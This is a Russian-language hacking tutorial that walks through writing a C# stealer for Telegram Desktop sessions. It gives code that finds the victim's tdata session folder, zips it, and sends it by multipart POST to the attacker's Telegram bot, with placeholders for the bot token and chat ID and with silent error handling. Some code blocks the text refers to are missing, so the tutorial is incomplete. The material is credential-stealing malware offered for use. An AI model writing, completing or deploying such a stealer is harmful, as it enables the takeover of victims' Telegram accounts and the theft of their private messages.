Пишем стиллер телеграмма {C# time}
Привет мой дорогой "uname -a"! Сегодня у нас будет программирования. На чем?
Верно на языке богов (С#).
И что же мы будем писать? Верно стиллер телеграмм сессий.
Для начала мы должны создать наш так сказать проект.
Давайте создадим класс который будет называться "cTelegram".
Теперь сделаем юзинги:
using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
Окай теперь сделаем проверку есть ли наша тг, и если его нет вернет нам false
string sDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
if (!Directory.Exists(sDir)) return false;
Ну и давайте теперь напишем главною функицю:
Ну а в целом код такой:
Ладно сам стиллер мы сделали теперь перейдем в Program.cs, и добавим немного string'oв)
public static string temp = Path.GetTempPath();
public static string username = WindowsIdentity.GetCurrent().Name;
public static string workdir = temp + username;
Ладно, мы почти все сделали! Теперь можем создать класс "cSendData", и написать в него отправку всех данных на телеграмм.
Для этого мы заходим в NuGet, и скачиваем Ionic.Zip
Теперь делаем юзинги:
using System; using System.IO; using System.Net; using System.Text; using Ionic.Zip;
Теперь создаем два стирнга:
static string Token = "Токен"; static string ID = "ИД";
ну и сделаем чтобы все это кидалось в архив:
Ну а дальше саму отправку:
private static void UploadMultipart(byte[] file, string filename, string contentType, string url) { try { WebClient webClient = new WebClient(); string text = "------------------------" + DateTime.Now.Ticks.ToString("x"); webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text); string @string = webClient.Encoding.GetString(file); string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string }); byte[] bytes = webClient.Encoding.GetBytes(s); webClient.UploadData(url, "POST", bytes); Environment.Exit(0); } catch { } }
Теперь впишем в класс Program.cs:
Теперь можем спокойно запустить. И если мы все сделали правильно, мы увидем:
Где будут наша тг сессия!
Ну а на этом все! С вами были CyberПиздец.
Надеюсь вам эта статью помогла, и вы стали умнее